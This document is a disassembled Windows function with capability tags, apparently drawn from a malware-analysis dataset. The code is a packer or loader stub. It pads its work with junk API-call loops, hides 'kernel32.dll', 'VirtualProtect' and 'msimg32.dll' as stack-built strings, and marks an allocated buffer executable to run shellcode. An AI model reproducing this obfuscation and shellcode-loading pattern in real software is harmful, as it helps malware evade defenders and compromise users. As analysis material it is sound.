Function at 0x499e00
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2668
call fcn.00407a00
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x4c]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2cdbe
jge 0x499e36
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0x823614], 0x6fb
jne 0x499e54
push 0
lea eax, [esp + 0x27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9afa0a
jle 0x499e6c
cmp ebx, 0xc10c98
je 0x499e6c
cmp ebp, 0x952fcbc
jne 0x499e75
inc esi
cmp esi, 0x80c66
jl 0x499e24
cmp dword [0x823614], 0xcf8
jne 0x499ee5
lea ecx, [esp + 0x28]
push ecx
push 0
push 0x402a74
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x823614], 0x3a
jne 0x499eb6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
push 0
call fcn.00402dec
add esp, 4
push 0
push 0
call fcn.00402cb0
push 0
push 0
call fcn.00402dac
push 0
push 0
call fcn.00402dac
push 0
call fcn.00402eaa
add esp, 0x1c
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x499f06
mov eax, 0x5d1
add dword [0x823614], eax
cmp dword [0x823614], 3
jne 0x499f32
xor edx, edx
lea ecx, [esp + 0x18]
push ecx
push edx
push edx
push 0x402a9c
push edx
mov dword [esp + 0x28], edx
call edi
push 0
push 0
lea eax, [esp + 0x680]
push eax
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x499ef3
mov ecx, dword [0x823614]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4a4664], eax
mov eax, dword [0x823614]
xor esi, esi
test eax, eax
je 0x499f9a
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp eax, 0xfe
jne 0x499f71
push 0
call ebx
call fcn.00499a10
mov eax, dword [0x823614]
cmp eax, 0x29
jne 0x499f95
push 0
push 0
lea edx, [esp + 0x680]
push edx
push 0
call edi
mov eax, dword [0x823614]
inc esi
cmp esi, eax
jb 0x499f66
cmp eax, 0x70
jne 0x49a093
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call esi
push 0
push 0x402aa4
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x1678]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea ecx, [esp + 0x1e7c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea edx, [esp + 0x27c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0x402ac4
push 0x402ae4
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
push 0
lea eax, [esp + 0xe80]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call esi
push 0
lea ecx, [esp + 0x67c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
mov eax, dword [0x823614]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 0xdf
jne 0x49a1c0
push 0
push 0
push 0
call esi
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x3c]
push ecx
push edx
push edx
lea eax, [esp + 0xe84]
push eax
push edx
mov dword [esp + 0x28], edx
call ebp
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea edx, [esp + 0x40]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea eax, [esp + 0x67c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea ecx, [esp + 0x48]
push ecx
push 0x402b18
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
lea edx, [esp + 0x1e78]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x823614]
dec dword [esp + 0x18]
jne 0x49a0b3
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ec769f4
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x49a1d5
push 0x49f8d0
mov dword [0x49f8d4], 0x32336c65
mov dword [0x49f8d8], 0x6c6c642e
mov dword [0x49f8d0], 0x6e72656b
mov byte [0x49f8dc], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x823614]
mov edx, dword [0x4a4664]
mov dword [0x823610], eax
lea eax, [esp + 0x1c]
push eax
push 0x40
push ecx
push edx
mov byte [0x49f8db], 0x65
mov dword [0x49f8d1], 0x75747269
mov word [0x49f8d5], 0x6c61
mov byte [0x49f8d0], 0x56
mov word [0x49f8dc], 0x7463
mov byte [0x49f8de], 0
mov dword [0x49f8d7], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00499c50
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea ebx, [ebx]
cmp dword [0x823614], 0xba
jne 0x49a2b6
push 0
lea eax, [esp + 0x67c]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x30]
push eax
push 0
lea ecx, [esp + 0x290]
push ecx
push 0x402b38
call edi
cmp esi, 0x2f64
jne 0x49a2c9
mov eax, 0
add dword [0x4a4664], eax
inc esi
cmp esi, 0x1605a
jl 0x49a280
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0x1e6dcb
cmp dword [0x823614], 0x85
jne 0x49a2fd
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x49a2e3
mov edx, 0x73
mov eax, 0x6d
mov word [0x82361a], dx
mov word [0x82361e], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x823622], cx
mov word [0x82362e], ax
mov word [0x823620], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x823618
mov dword [0x823628], 0x6c0064
mov word [0x82361c], ax
mov word [0x823618], cx
mov word [0x82362c], dx
mov dword [0x823624], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x823614], 0xc30
jne 0x49a43b
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x138]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea eax, [esp + 0x20]
push eax
push ebx
lea ecx, [esp + 0x684]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x402b88
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea edx, [esp + 0x27c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push ebx
lea ecx, [esp + 0xe7c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea edx, [esp + 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [esp + 0x1c]
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret